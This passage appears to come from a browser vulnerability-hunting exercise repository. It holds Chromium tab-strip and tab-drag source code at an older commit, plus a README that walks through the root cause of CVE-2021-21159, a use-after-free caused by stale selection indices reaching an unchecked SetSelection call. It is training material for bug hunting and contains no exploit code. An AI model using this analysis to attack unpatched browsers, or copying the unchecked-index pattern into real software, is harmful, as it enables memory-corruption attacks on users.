may be null in some cases, e.g. in tests. selection.new_contents->GetRenderWidgetHostView() ->SetRecordContentToVisibleTimeRequest( !input_event_timestamp.is_null() ? input_event_timestamp : now, resource_coordinator::ResourceCoordinatorTabHelper::IsLoaded( selection.new_contents), /*show_reason_tab_switching=*/true, /*show_reason_unoccluded=*/false, /*show_reason_bfcache_restore=*/false); } tab_switch_event_latency_recorder_.OnWillChangeActiveTab(now); } TabStripModelChange change; auto visibility_tracker = InstallRenderWigetVisibilityTracker(selection); for (auto& observer : observers_) observer.OnTabStripModelChanged(this, change, selection); } return selection; } void TabStripModel::SelectRelativeTab(bool next, UserGestureDetails detail) { // This may happen during automated testing or if a user somehow buffers // many key accelerators. if (contents_data_.empty()) return; const int start_index = active_index(); absl::optional start_group = GetTabGroupForTab(start_index); // Ensure the active tab is not in a collapsed group so the while loop can // fallback on activating the active tab. DCHECK(!start_group.has_value() || !IsGroupCollapsed(start_group.value())); const int delta = next ? 1 : -1; int index = (start_index + count() + delta) % count(); absl::optional group = GetTabGroupForTab(index); while (group.has_value() && IsGroupCollapsed(group.value())) { index = (index + count() + delta) % count(); group = GetTabGroupForTab(index); } ActivateTabAt(index, detail); } void TabStripModel::MoveTabRelative(bool forward) { const int offset = forward ? 1 : -1; // TODO: this needs to be updated for multi-selection. const int current_index = active_index(); absl::optional current_group = GetTabGroupForTab(current_index); int target_index = std::max(std::min(current_index + offset, count() - 1), 0); absl::optional target_group = GetTabGroupForTab(target_index); // If the tab is at a group boundary and the group is expanded, instead of // actually moving the tab just change its group membership. if (current_group != target_group) { if (current_group.has_value()) { UngroupTab(current_index); return; } else if (target_group.has_value()) { // If the tab is at a group boundary and the group is collapsed, treat the // collapsed group as a tab and find the next available slot for the tab // to move to. const TabGroup* group = group_model_->GetTabGroup(target_group.value()); if (group->visual_data()->is_collapsed()) { const gfx::Range tabs_in_group = group->ListTabs(); target_index = forward ? tabs_in_group.end() - 1 : tabs_in_group.start(); } else { GroupTab(current_index, target_group.value()); return; } } } MoveWebContentsAt(current_index, target_index, true); } void TabStripModel::MoveWebContentsAtImpl(int index, int to_position, bool select_after_move) { FixOpeners(index); TabStripSelectionChange selection(GetActiveWebContents(), selection_model_); std::unique_ptr moved_data = std::move(contents_data_[index]); WebContents* web_contents = moved_data->web_contents(); contents_data_.erase(contents_data_.begin() + index); contents_data_.insert(contents_data_.begin() + to_position, std::move(moved_data)); selection_model_.Move(index, to_position, 1); if (!selection_model_.IsSelected(to_position) && select_after_move) selection_model_.SetSelectedIndex(to_position); selection.new_model = selection_model_; TabStripModelChange::Move move; move.contents = web_contents; move.from_index = index; move.to_index = to_position; TabStripModelChange change(move); for (auto& observer : observers_) observer.OnTabStripModelChanged(this, change, selection); } void TabStripModel::MoveSelectedTabsToImpl(int index, size_t start, size_t length) { DCHECK(start < selection_model_.selected_indices().size() && start + length <= selection_model_.selected_indices().size()); size_t end = start + length; int count_before_index = 0; const ui::ListSelectionModel::SelectedIndices& sel = selection_model_.selected_indices(); auto indices = std::vector(sel.begin(), sel.end()); for (size_t i = start; i < end; ++i) { if (indices[i] < index + count_before_index) count_before_index++; } // First move those before index. Any tabs before index end up moving in the // selection model so we use start each time through. int target_index = index + count_before_index; size_t tab_index = start; while (tab_index < end && indices[start] < index) { MoveWebContentsAtImpl(indices[start], target_index - 1, false); // It is necessary to re-populate selected indices because // MoveWebContetsAtImpl mutates selection_model_. const auto& new_sel = selection_model_.selected_indices(); indices = std::vector(new_sel.begin(), new_sel.end()); tab_index++; } // Then move those after the index. These don't result in reordering the // selection, therefore there is no need to repopulate indices. while (tab_index < end) { if (indices[tab_index] != target_index) { MoveWebContentsAtImpl(indices[tab_index], target_index, false); } tab_index++; target_index++; } } void TabStripModel::AddToNewGroupImpl(const std::vector& indices, const tab_groups::TabGroupId& new_group) { DCHECK(!std::any_of( contents_data_.cbegin(), contents_data_.cend(), [new_group](const auto& datum) { return datum->group() == new_group; })); group_model_->AddTabGroup(new_group, absl::nullopt); // Find a destination for the first tab that's not pinned or inside another // group. We will stack the rest of the tabs up to its right. int destination_index = -1; for (int i = indices[0]; i < count(); i++) { const int destination_candidate = i + 1; // Grouping at the end of the tabstrip is always valid. if (!ContainsIndex(destination_candidate)) { destination_index = destination_candidate; break; } // Grouping in the middle of pinned tabs is never valid. if (IsTabPinned(destination_candidate)) continue; // Otherwise, grouping is valid if the destination is not in the middle of a // different group. absl::optional destination_group = GetTabGroupForTab(destination_candidate); if (!destination_group.has_value() || destination_group != GetTabGroupForTab(indices[0])) { destination_index = destination_candidate; break; } } MoveTabsAndSetGroupImpl(indices, destination_index, new_group); } void TabStripModel::AddToExistingGroupImpl( const std::vector& indices, const tab_groups::TabGroupId& group) { // Do nothing if the "existing" group can't be found. This would only happen // if the existing group is closed programmatically while the user is // interacting with the UI - e.g. if a group close operation is started by an // extension while the user clicks "Add to existing group" in the context // menu. // If this happens, the browser should not crash. So here we just make it a // no-op, since we don't want to create unintended side effects in this rare // corner case. if (!group_model_->ContainsTabGroup(group)) return; const TabGroup* group_object = group_model_->GetTabGroup(group); int first_tab_in_group = group_object->GetFirstTab().value(); int last_tab_in_group = group_object->GetLastTab().value(); // Split |new_indices| into |tabs_left_of_group| and |tabs_right_of_group| to // be moved to proper destination index. Directly set the group for indices // that are inside the group. std::vector tabs_left_of_group; std::vector tabs_right_of_group; for (int index : indices) { if (index >= first_tab_in_group && index <= last_tab_in_group) { GroupTab(index, group); } else if (index < first_tab_in_group) { tabs_left_of_group.push_back(index); } else { tabs_right_of_group.push_back(index); } } MoveTabsAndSetGroupImpl(tabs_left_of_group, first_tab_in_group, group); MoveTabsAndSetGroupImpl(tabs_right_of_group, last_tab_in_group + 1, group); } void TabStripModel::MoveTabsAndSetGroupImpl( const std::vector& indices, int destination_index, absl::optional group) { // Some tabs will need to be moved to the right, some to the left. We need to // handle those separately. First, move tabs to the right, starting with the // rightmost tab so we don't cause other tabs we are about to move to shift. int numTabsMovingRight = 0; for (size_t i = 0; i < indices.size() && indices[i] < destination_index; i++) { numTabsMovingRight++; } for (int i = numTabsMovingRight - 1; i >= 0; i--) { MoveAndSetGroup(indices[i], destination_index - numTabsMovingRight + i, group); } // Collect indices for tabs moving to the left. std::vector move_left_indices; for (size_t i = numTabsMovingRight; i < indices.size(); i++) { move_left_indices.push_back(indices[i]); } // Move tabs to the left, starting with the leftmost tab. for (size_t i = 0; i < move_left_indices.size(); i++) MoveAndSetGroup(move_left_indices[i], destination_index + i, group); } void TabStripModel::MoveAndSetGroup( int index, int new_index, absl::optional new_group) { if (new_group.has_value()) { // Unpin tabs when grouping -- the states should be mutually exclusive. // Here we manually unpin the tab to avoid moving the tab twice, which can // potentially cause race conditions. if (IsTabPinned(index)) { contents_data_[index]->set_pinned(false); for (auto& observer : observers_) { observer.TabPinnedStateChanged( this, contents_data_[index]->web_contents(), index); } } GroupTab(index, new_group.value()); } else { UngroupTab(index); } if (index != new_index) MoveWebContentsAtImpl(index, new_index, false); } void TabStripModel::AddToReadLaterImpl(const std::vector& indices) { ReadingListModel* model = ReadingListModelFactory::GetForBrowserContext(profile_); if (!model || !model->loaded()) return; for (int index : indices) { WebContents* contents = GetWebContentsAt(index); chrome::MoveTabToReadLater(chrome::FindBrowserWithWebContents(contents), contents); } } absl::optional TabStripModel::UngroupTab(int index) { absl::optional group = GetTabGroupForTab(index); if (!group.has_value()) return absl::nullopt; // Update the tab. contents_data_[index]->set_group(absl::nullopt); for (auto& observer : observers_) { observer.TabGroupedStateChanged( absl::nullopt, contents_data_[index]->web_contents(), index); } // Update the group model. TabGroup* tab_group = group_model_->GetTabGroup(group.value()); tab_group->RemoveTab(); if (tab_group->IsEmpty()) group_model_->RemoveTabGroup(group.value()); return group; } void TabStripModel::GroupTab(int index, const tab_groups::TabGroupId& group) { // Check for an old group first, so that any groups that are changed can be // notified appropriately. absl::optional old_group = GetTabGroupForTab(index); if (old_group.has_value()) { if (old_group.value() == group) return; else UngroupTab(index); } contents_data_[index]->set_group(group); for (auto& observer : observers_) { observer.TabGroupedStateChanged( group, contents_data_[index]->web_contents(), index); } group_model_->GetTabGroup(group)->AddTab(); } void TabStripModel::SetTabPinnedImpl(int index, bool pinned) { DCHECK(ContainsIndex(index)); if (contents_data_[index]->pinned() == pinned) return; // Upgroup tabs if pinning -- the states should be mutually exclusive. if (pinned) UngroupTab(index); // The tab's position may have to change as the pinned tab state is changing. int non_pinned_tab_index = IndexOfFirstNonPinnedTab(); contents_data_[index]->set_pinned(pinned); if (pinned && index != non_pinned_tab_index) { MoveWebContentsAtImpl(index, non_pinned_tab_index, false); index = non_pinned_tab_index; } else if (!pinned && index + 1 != non_pinned_tab_index) { MoveWebContentsAtImpl(index, non_pinned_tab_index - 1, false); index = non_pinned_tab_index - 1; } for (auto& observer : observers_) { observer.TabPinnedStateChanged(this, contents_data_[index]->web_contents(), index); } } std::vector TabStripModel::SetTabsPinned(const std::vector& indices, bool pinned) { std::vector new_indices; if (pinned) { for (size_t i = 0; i < indices.size(); i++) { if (IsTabPinned(indices[i])) { new_indices.push_back(indices[i]); } else { SetTabPinnedImpl(indices[i], true); new_indices.push_back(IndexOfFirstNonPinnedTab() - 1); } } } else { for (size_t i = indices.size() - 1; i < indices.size(); i--) { if (!IsTabPinned(indices[i])) { new_indices.push_back(indices[i]); } else { SetTabPinnedImpl(indices[i], false); new_indices.push_back(IndexOfFirstNonPinnedTab()); } } std::reverse(new_indices.begin(), new_indices.end()); } return new_indices; } // Sets the sound content setting for each site at the |indices|. void TabStripModel::SetSitesMuted(const std::vector& indices, bool mute) const { for (int tab_index : indices) { content::WebContents* web_contents = GetWebContentsAt(tab_index); GURL url = web_contents->GetLastCommittedURL(); if (url.SchemeIs(content::kChromeUIScheme)) { // chrome:// URLs don't have content settings but can be muted, so just // mute the WebContents. chrome::SetTabAudioMuted(web_contents, mute, TabMutedReason::CONTENT_SETTING_CHROME, std::string()); } else { Profile* profile = Profile::FromBrowserContext(web_contents->GetBrowserContext()); HostContentSettingsMap* settings = HostContentSettingsMapFactory::GetForProfile(profile); ContentSetting setting = mute ? CONTENT_SETTING_BLOCK : CONTENT_SETTING_ALLOW; if (!profile->IsIncognitoProfile() && setting == settings->GetDefaultContentSetting( ContentSettingsType::SOUND, nullptr)) { setting = CONTENT_SETTING_DEFAULT; } settings->SetContentSettingDefaultScope( url, url, ContentSettingsType::SOUND, setting); } } } void TabStripModel::FixOpeners(int index) { WebContents* old_contents = GetWebContentsAtImpl(index); WebContents* new_opener = GetOpenerOfWebContentsAt(index); for (auto& data : contents_data_) { if (data->opener() != old_contents) continue; // Ensure a tab isn't its own opener. data->set_opener(new_opener == data->web_contents() ? nullptr : new_opener); } // Sanity check that none of the tabs' openers refer |old_contents| or // themselves. DCHECK(!std::any_of( contents_data_.begin(), contents_data_.end(), [old_contents](const std::unique_ptr& data) { return data->opener() == old_contents || data->opener() == data->web_contents(); })); } void TabStripModel::EnsureGroupContiguity(int index) { const auto old_group = GetTabGroupForTab(index); const auto new_left_group = GetTabGroupForTab(index - 1); const auto new_right_group = GetTabGroupForTab(index + 1); if (old_group != new_left_group && old_group != new_right_group) { if (new_left_group == new_right_group && new_left_group.has_value()) { // The tab is in the middle of an existing group, so add it to that group. GroupTab(index, new_left_group.value()); } else if (old_group.has_value() && group_model_->GetTabGroup(old_group.value())->tab_count() > 1) { // The tab is between groups and its group is non-contiguous, so clear // this tab's group. UngroupTab(index); } } } ================================================ FILE: LEVEL_2/exercise_5/README.md ================================================ # Exercise 5 In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details. ## CVE-2021-21159 I sugget you don't search any report about it to prevents get too much info like patch. ### Details In level 2, we do it without the help of Details ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1171049
-------- ### Set environment after you fetch chromium ```sh git reset --hard ae7b398ad2ba00cbf901fda43305ad9b371d534a ``` ### Related code chrome/browser/ui/views/tabs/tab_drag_controller.cc chrome/browser/ui/tabs/tab_strip_model.cc you have to read the `tab_drag_controller.h` and `tab_strip_model.h` to understand some nouns. tips: **TabDragController** ```c++ // TabDragController is responsible for managing the tab dragging session. When // the user presses the mouse on a tab a new TabDragController is created and // Drag() is invoked as the mouse is dragged. If the mouse is dragged far enough // TabDragController starts a drag session. The drag session is completed when // EndDrag() is invoked (or the TabDragController is destroyed). // // While dragging within a tab strip TabDragController sets the bounds of the // tabs (this is referred to as attached). When the user drags far enough such // that the tabs should be moved out of the tab strip a new Browser is created // and RunMoveLoop() is invoked on the Widget to drag the browser around. This // is the default on aura. ``` **TabStripModel** ```c++ // TabStripModel // // A model & low level controller of a Browser Window tabstrip. Holds a vector // of WebContentses, and provides an API for adding, removing and // shuffling them, as well as a higher level API for doing specific Browser- // related tasks like adding new Tabs from just a URL, etc. // // Each tab may be pinned. Pinned tabs are locked to the left side of the tab // strip and rendered differently (small tabs with only a favicon). The model // makes sure all pinned tabs are at the beginning of the tab strip. For // example, if a non-pinned tab is added it is forced to be with non-pinned // tabs. Requests to move tabs outside the range of the tab type are ignored. // For example, a request to move a pinned tab after non-pinned tabs is ignored. // // A TabStripModel has one delegate that it relies on to perform certain tasks // like creating new TabStripModels (probably hosted in Browser windows) when // required. See TabStripDelegate above for more information. // // A TabStripModel also has N observers (see TabStripModelObserver above), // which can be registered via Add/RemoveObserver. An Observer is notified of // tab creations, removals, moves, and other interesting events. The // TabStrip implements this interface to know when to create new tabs in // the View, and the Browser object likewise implements to be able to update // its bookkeeping when such events happen. // // This implementation of TabStripModel is not thread-safe and should only be // accessed on the UI thread. ``` ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer ```c++ // Restores |initial_selection_model_| to the |source_context_|. void TabDragController::RestoreInitialSelection() { // First time detaching from the source tabstrip. Reset selection model to // initial_selection_model_. Before resetting though we have to remove all // the tabs from initial_selection_model_ as it was created with the tabs // still there. ui::ListSelectionModel selection_model = initial_selection_model_; [1] for (DragData::const_reverse_iterator i(drag_data_.rbegin()); i != drag_data_.rend(); ++i) { if (i->source_model_index != TabStripModel::kNoTab) selection_model.DecrementFrom(i->source_model_index); } // We may have cleared out the selection model. Only reset it if it // contains something. if (selection_model.empty()) return; // The anchor/active may have been among the tabs that were dragged out. Force // the anchor/active to be valid. if (selection_model.anchor() == ui::ListSelectionModel::kUnselectedIndex) selection_model.set_anchor(*selection_model.selected_indices().begin()); if (selection_model.active() == ui::ListSelectionModel::kUnselectedIndex) selection_model.set_active(*selection_model.selected_indices().begin()); source_context_->GetTabStripModel()->SetSelectionFromModel(selection_model); [2] } ================================================================= void TabStripModel::SetSelectionFromModel(ui::ListSelectionModel source) { DCHECK_NE(ui::ListSelectionModel::kUnselectedIndex, source.active()); SetSelection(std::move(source), TabStripModelObserver::CHANGE_REASON_NONE, [3] /*triggered_by_other_operation=*/false); } ``` [1] make `selection_model == initial_selection_model_` > Tabs in |source_context_| may have closed since the drag began. In that > case, |initial_selection_model_| may include indices that are no longer > valid in |source_context_|. [2]|[3] call `SetSelection` and `selection_model` as its parameter which have unvalid indices. ```c++ TabStripSelectionChange TabStripModel::SetSelection( ui::ListSelectionModel new_model, TabStripModelObserver::ChangeReason reason, bool triggered_by_other_operation) { TabStripSelectionChange selection; selection.old_model = selection_model_; selection.old_contents = GetActiveWebContents(); selection.new_model = new_model; selection.reason = reason; // This is done after notifying TabDeactivated() because caller can assume // that TabStripModel::active_index() would return the index for // |selection.old_contents|. selection_model_ = new_model; [4] selection.new_contents = GetActiveWebContents(); if (!triggered_by_other_operation && (selection.active_tab_changed() || selection.selection_changed())) { if (selection.active_tab_changed()) { auto now = base::TimeTicks::Now(); if (selection.new_contents && selection.new_contents->GetRenderWidgetHostView()) { auto input_event_timestamp = tab_switch_event_latency_recorder_.input_event_timestamp(); // input_event_timestamp may be null in some cases, e.g. in tests. selection.new_contents->GetRenderWidgetHostView() ->SetRecordContentToVisibleTimeRequest( !input_event_timestamp.is_null() ? input_event_timestamp : now, resource_coordinator::ResourceCoordinatorTabHelper::IsLoaded( selection.new_contents), /*show_reason_tab_switching=*/true, /*show_reason_unoccluded=*/false, /*show_reason_bfcache_restore=*/false); } tab_switch_event_latency_recorder_.OnWillChangeActiveTab(now); } TabStripModelChange change; auto visibility_tracker = InstallRenderWigetVisibilityTracker(selection); for (auto& observer : observers_) observer.OnTabStripModelChanged(this, change, selection); } return selection; } ``` [4] Notice that `SetSelection` have no check about whether the `new_model.selected_indices()` are exist. In a word, detaching a drag after a tab closed will trigger the uaf.
-------- ================================================ FILE: LEVEL_2/exercise_5/tab_drag_controller.cc ================================================ // Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/ui/views/tabs/tab_drag_controller.h" #include #include #include #include #include "base/auto_reset.h" #include "base/bind.h" #include "base/callback.h" #include "base/containers/contains.h" #include "base/i18n/rtl.h" #include "base/numerics/ranges.h" #include "base/numerics/safe_conversions.h" #include "build/build_config.h" #include "build/chromeos_buildflags.h" #include "chrome/browser/chrome_notification_types.h" #include "chrome/browser/profiles/profile.h" #include "chrome/browser/ui/browser_commands.h" #include "chrome/browser/ui/browser_list.h" #include "chrome/browser/ui/browser_window.h" #include "chrome/browser/ui/layout_constants.h" #include "chrome/browser/ui/sad_tab_helper.h" #include "chrome/browser/ui/tabs/tab_group.h" #include "chrome/browser/ui/tabs/tab_group_model.h" #include "chrome/browser/ui/tabs/tab_strip_model.h" #include "chrome/browser/ui/tabs/tab_strip_model_delegate.h" #include "chrome/browser/ui/ui_features.h" #include "chrome/browser/ui/views/frame/browser_non_client_frame_view.h" #include "chrome/browser/ui/views/frame/browser_view.h" #include "chrome/browser/ui/views/tabs/tab.h" #include "chrome/browser/ui/views/tabs/tab_slot_view.h" #include "chrome/browser/ui/views/tabs/tab_strip.h" #include "chrome/browser/ui/views/tabs/tab_strip_layout_helper.h" #include "chrome/browser/ui/views/tabs/tab_style_views.h" #include "chrome/browser/ui/views/tabs/window_finder.h" #include "components/tab_groups/tab_group_id.h" #include "content/public/browser/notification_service.h" #include "content/public/browser/notification_source.h" #include "content/public/browser/web_contents.h" #include "ui/display/display.h" #include "ui/display/screen.h" #include "ui/events/gestures/gesture_recognizer.h" #include "ui/events/types/event_type.h" #include "ui/gfx/geometry/point_conversions.h" #include "ui/views/event_monitor.h" #include "ui/views/view_tracker.h" #include "ui/views/widget/root_view.h" #if BUILDFLAG(IS_CHROMEOS_ASH) #include "ash/public/cpp/ash_features.h" #include "ash/public/cpp/tablet_mode.h" #include "ash/public/cpp/window_properties.h" // nogncheck #include "chromeos/ui/base/window_properties.h" #include "chromeos/ui/base/window_state_type.h" // nogncheck #include "ui/aura/window_delegate.h" #include "ui/wm/core/coordinate_conversion.h" #endif #if defined(USE_AURA) #include "ui/aura/env.h" // nogncheck #include "ui/aura/window.h" // nogncheck #include "ui/wm/core/window_modality_controller.h" // nogncheck #endif using content::OpenURLParams; using content::WebContents; // If non-null there is a drag underway. static TabDragController* g_tab_drag_controller = nullptr; namespace { // Initial delay before moving tabs when the dragged tab is close to the edge of // the stacked tabs. constexpr auto kMoveAttachedInitialDelay = base::TimeDelta::FromMilliseconds(600); // Delay for moving tabs after the initial delay has passed. constexpr auto kMoveAttachedSubsequentDelay = base::TimeDelta::FromMilliseconds(300); // A dragged window is forced to be a bit smaller than maximized bounds during a // drag. This prevents the dragged browser widget from getting maximized at // creation and makes it easier to drag tabs out of a restored window that had // maximized size. constexpr int kMaximizedWindowInset = 10; // DIPs. #if BUILDFLAG(IS_CHROMEOS_ASH) // Returns the aura::Window which stores the window properties for tab-dragging. aura::Window* GetWindowForTabDraggingProperties(const TabDragContext* context) { return context ? context->AsView()->GetWidget()->GetNativeWindow() : nullptr; } // Returns true if |context| browser window is snapped. bool IsSnapped(const TabDragContext* context) { DCHECK(context); chromeos::WindowStateType type = GetWindowForTabDraggingProperties(context)->GetProperty( chromeos::kWindowStateTypeKey); return type == chromeos::WindowStateType::kLeftSnapped || type == chromeos::WindowStateType::kRightSnapped; } // In Chrome OS tablet mode, when dragging a tab/tabs around, the desired // browser size during dragging is one-fourth of the workspace size or the // window's minimum size. gfx::Rect GetDraggedBrowserBoundsInTabletMode(aura::Window* window) { const gfx::Rect work_area = display::Screen::GetScreen()->GetDisplayNearestWindow(window).work_area(); gfx::Size mininum_size; if (window->delegate()) mininum_size = window->delegate()->GetMinimumSize(); gfx::Rect bounds(window->GetBoundsInScreen()); bounds.set_width(std::max(work_area.width() / 2, mininum_size.width())); bounds.set_height(std::max(work_area.height() / 2, mininum_size.height())); return bounds; } // Store the current window bounds if we're in Chrome OS tablet mode and tab // dragging is allowed on browser windows. void StoreCurrentDraggedBrowserBoundsInTabletMode( aura::Window* window, const gfx::Rect& bounds_in_screen) { if (ash::TabletMode::Get()->InTabletMode()) { // The bounds that is stored in ash::kRestoreBoundsOverrideKey will be used // by DragDetails to calculate the window bounds during dragging in tablet // mode. window->SetProperty(ash::kRestoreBoundsOverrideKey, new gfx::Rect(bounds_in_screen)); } } // Returns true if |context| is currently showing in overview mode in Chrome // OS. bool IsShowingInOverview(TabDragContext* context) { return context && GetWindowForTabDraggingProperties(context)->GetProperty( chromeos::kIsShowingInOverviewKey); } // Returns true if we should attach the dragged tabs into |target_context| // after the drag ends. Currently it only happens on Chrome OS, when the dragged // tabs are dragged over an overview window, we should not try to attach it // to the overview window during dragging, but should wait to do so until the // drag ends. bool ShouldAttachOnEnd(TabDragContext* target_context) { return IsShowingInOverview(target_context); } // Returns true if |context| can detach from the current context and attach // into another eligible browser window's context. bool CanDetachFromTabStrip(TabDragContext* context) { return context && GetWindowForTabDraggingProperties(context)->GetProperty( ash::kCanAttachToAnotherWindowKey); } #else bool IsSnapped(const TabDragContext* context) { return false; } bool IsShowingInOverview(TabDragContext* context) { return false; } bool ShouldAttachOnEnd(TabDragContext* target_context) { return false; } bool CanDetachFromTabStrip(TabDragContext* context) { return true; } #endif // #if BUILDFLAG(IS_CHROMEOS_ASH) void SetCapture(TabDragContext* context) { context->AsView()->GetWidget()->SetCapture(context->AsView()); } gfx::Rect GetTabstripScreenBounds(const TabDragContext* context) { const views::View* view = context->AsView(); gfx::Point view_topleft; views::View::ConvertPointToScreen(view, &view_topleft); gfx::Rect view_screen_bounds = view->GetLocalBounds(); view_screen_bounds.Offset(view_topleft.x(), view_topleft.y()); return view_screen_bounds; } // Returns true if |bounds| contains the y-coordinate |y|. The y-coordinate // of |bounds| is adjusted by |vertical_adjustment|. bool DoesRectContainVerticalPointExpanded(const gfx::Rect& bounds, int vertical_adjustment, int y) { int upper_threshold = bounds.bottom() + vertical_adjustment; int lower_threshold = bounds.y() - vertical_adjustment; return y >= lower_threshold && y <= upper_threshold; } // Adds |x_offset| to all the rectangles in |rects|. void OffsetX(int x_offset, std::vector* rects) { if (x_offset == 0) return; for (size_t i = 0; i < rects->size(); ++i) (*rects)[i].set_x((*rects)[i].x() + x_offset); } } // namespace // KeyEventTracker installs an event monitor and runs a callback to end the drag // when it receives any key event. class KeyEventTracker : public ui::EventObserver { public: KeyEventTracker(base::OnceClosure end_drag_callback, base::OnceClosure revert_drag_callback, gfx::NativeWindow context) : end_drag_callback_(std::move(end_drag_callback)), revert_drag_callback_(std::move(revert_drag_callback)) { event_monitor_ = views::EventMonitor::CreateApplicationMonitor( this, context, {ui::ET_KEY_PRESSED}); } KeyEventTracker(const KeyEventTracker&) = delete; KeyEventTracker& operator=(const KeyEventTracker&) = delete; ~KeyEventTracker() override = default; private: // ui::EventObserver: void OnEvent(const ui::Event& event) override { if (event.AsKeyEvent()->key_code() == ui::VKEY_ESCAPE && revert_drag_callback_) { std::move(revert_drag_callback_).Run(); } else if (event.AsKeyEvent()->key_code() != ui::VKEY_ESCAPE && end_drag_callback_) { std::move(end_drag_callback_).Run(); } } base::OnceClosure end_drag_callback_; base::OnceClosure revert_drag_callback_; std::unique_ptr event_monitor_; }; class TabDragController::SourceTabStripEmptinessTracker : public TabStripModelObserver { public: explicit SourceTabStripEmptinessTracker(TabStripModel* tabstrip, TabDragController* parent) : tab_strip_(tabstrip), parent_(parent) { tab_strip_->AddObserver(this); } private: void TabStripEmpty() override { tab_strip_->RemoveObserver(this); parent_->OnSourceTabStripEmpty(); } TabStripModel* const tab_strip_; TabDragController* const parent_; }; class TabDragController::DraggedTabsClosedTracker : public TabStripModelObserver { public: DraggedTabsClosedTracker(TabStripModel* tabstrip, TabDragController* parent) : parent_(parent) { tabstrip->AddObserver(this); } void OnTabStripModelChanged( TabStripModel* model, const TabStripModelChange& change, const TabStripSelectionChange& selection) override { if (change.type() != TabStripModelChange::Type::kRemoved) return; for (const auto& contents : change.GetRemove()->contents) parent_->OnActiveStripWebContentsRemoved(contents.contents); } private: TabDragController* const parent_; }; TabDragController::TabDragData::TabDragData() : contents(nullptr), source_model_index(TabStripModel::kNoTab), attached_view(nullptr), pinned(false) {} TabDragController::TabDragData::~TabDragData() {} TabDragController::TabDragData::TabDragData(TabDragData&&) = default; #if BUILDFLAG(IS_CHROMEOS_ASH) // The class to track the current deferred target tabstrip and also to observe // its native window's property ash::kIsDeferredTabDraggingTargetWindowKey. // The reason we need to observe the window property is the property might be // cleared outside of TabDragController (i.e. by ash), and we should update the // tracked deferred target tabstrip in this case. class TabDragController::DeferredTargetTabstripObserver : public aura::WindowObserver { public: DeferredTargetTabstripObserver() = default; DeferredTargetTabstripObserver(const DeferredTargetTabstripObserver&) = delete; DeferredTargetTabstripObserver& operator=( const DeferredTargetTabstripObserver&) = delete; ~DeferredTargetTabstripObserver() override { if (deferred_target_context_) { GetWindowForTabDraggingProperties(deferred_target_context_) ->RemoveObserver(this); deferred_target_context_ = nullptr; } } void SetDeferredTargetTabstrip(TabDragContext* deferred_target_context) { if (deferred_target_context_ == deferred_target_context) return; // Clear the window property on the previous |deferred_target_context_|. if (deferred_target_context_) { aura::Window* old_window = GetWindowForTabDraggingProperties(deferred_target_context_); old_window->RemoveObserver(this); old_window->ClearProperty(ash::kIsDeferredTabDraggingTargetWindowKey); } deferred_target_context_ = deferred_target_context; // Set the window property on the new |deferred_target_context_|. if (deferred_target_context_) { aura::Window* new_window = GetWindowForTabDraggingProperties(deferred_target_context_); new_window->SetProperty(ash::kIsDeferredTabDraggingTargetWindowKey, true); new_window->AddObserver(this); } } // aura::WindowObserver: void OnWindowPropertyChanged(aura::Window* window, const void* key, intptr_t old) override { DCHECK_EQ(window, GetWindowForTabDraggingProperties(deferred_target_context_)); if (key == ash::kIsDeferredTabDraggingTargetWindowKey && !window->GetProperty(ash::kIsDeferredTabDraggingTargetWindowKey)) { SetDeferredTargetTabstrip(nullptr); } // else do nothing. currently it's only possible that ash clears the window // property, but doesn't set the window property. } void OnWindowDestroying(aura::Window* window) override { DCHECK_EQ(window, GetWindowForTabDraggingProperties(deferred_target_context_)); SetDeferredTargetTabstrip(nullptr); } TabDragContext* deferred_target_context() { return deferred_target_context_; } private: TabDragContext* deferred_target_context_ = nullptr; }; #endif /////////////////////////////////////////////////////////////////////////////// // TabDragController, public: // static const int TabDragController::kTouchVerticalDetachMagnetism = 50; // static const int TabDragController::kVerticalDetachMagnetism = 15; TabDragController::TabDragController() : current_state_(DragState::kNotStarted), event_source_(EVENT_SOURCE_MOUSE), source_context_(nullptr), attached_context_(nullptr), can_release_capture_(true), offset_to_width_ratio_(0), old_focused_view_tracker_(std::make_unique()), last_move_screen_loc_(0), source_view_index_(std::numeric_limits::max()), initial_move_(true), detach_behavior_(DETACHABLE), move_behavior_(REORDER), mouse_has_ever_moved_left_(false), mouse_has_ever_moved_right_(false), is_dragging_new_browser_(false), was_source_maximized_(false), was_source_fullscreen_(false), did_restore_window_(false), tab_strip_to_attach_to_after_exit_(nullptr), move_loop_widget_(nullptr), is_mutating_(false), attach_x_(-1), attach_index_(-1) { g_tab_drag_controller = this; } TabDragController::~TabDragController() { if (g_tab_drag_controller == this) g_tab_drag_controller = nullptr; widget_observation_.Reset(); if (is_dragging_window()) GetAttachedBrowserWidget()->EndMoveLoop(); if (event_source_ == EVENT_SOURCE_TOUCH) { TabDragContext* capture_context = attached_context_ ? attached_context_ : source_context_; capture_context->AsView()->GetWidget()->ReleaseCapture(); } CHECK(!IsInObserverList()); } void TabDragController::Init(TabDragContext* source_context, TabSlotView* source_view, const std::vector& dragging_views, const gfx::Point& mouse_offset, int source_view_offset, ui::ListSelectionModel initial_selection_model, MoveBehavior move_behavior, EventSource event_source) { DCHECK(!dragging_views.empty()); DCHECK(base::Contains(dragging_views, source_view)); source_context_ = source_context; was_source_maximized_ = source_context->AsView()->GetWidget()->IsMaximized(); was_source_fullscreen_ = source_context->AsView()->GetWidget()->IsFullscreen(); // Do not release capture when transferring capture between widgets on: // - Desktop Linux // Mouse capture is not synchronous on desktop Linux. Chrome makes // transferring capture between widgets without releasing capture appear // synchronous on desktop Linux, so use that. // - Chrome OS // Releasing capture on Ash cancels gestures so avoid it. #if defined(OS_LINUX) || defined(OS_CHROMEOS) can_release_capture_ = false; #endif start_point_in_screen_ = gfx::Point(source_view_offset, mouse_offset.y()); views::View::ConvertPointToScreen(source_view, &start_point_in_screen_); event_source_ = event_source; mouse_offset_ = mouse_offset; move_behavior_ = move_behavior; last_point_in_screen_ = start_point_in_screen_; last_move_screen_loc_ = start_point_in_screen_.x(); initial_tab_positions_ = source_context->GetTabXCoordinates(); source_context_emptiness_tracker_ = std::make_unique( source_context_->GetTabStripModel(), this); header_drag_ = source_view->GetTabSlotViewType() == TabSlotView::ViewType::kTabGroupHeader; if (header_drag_) group_ = source_view->group(); 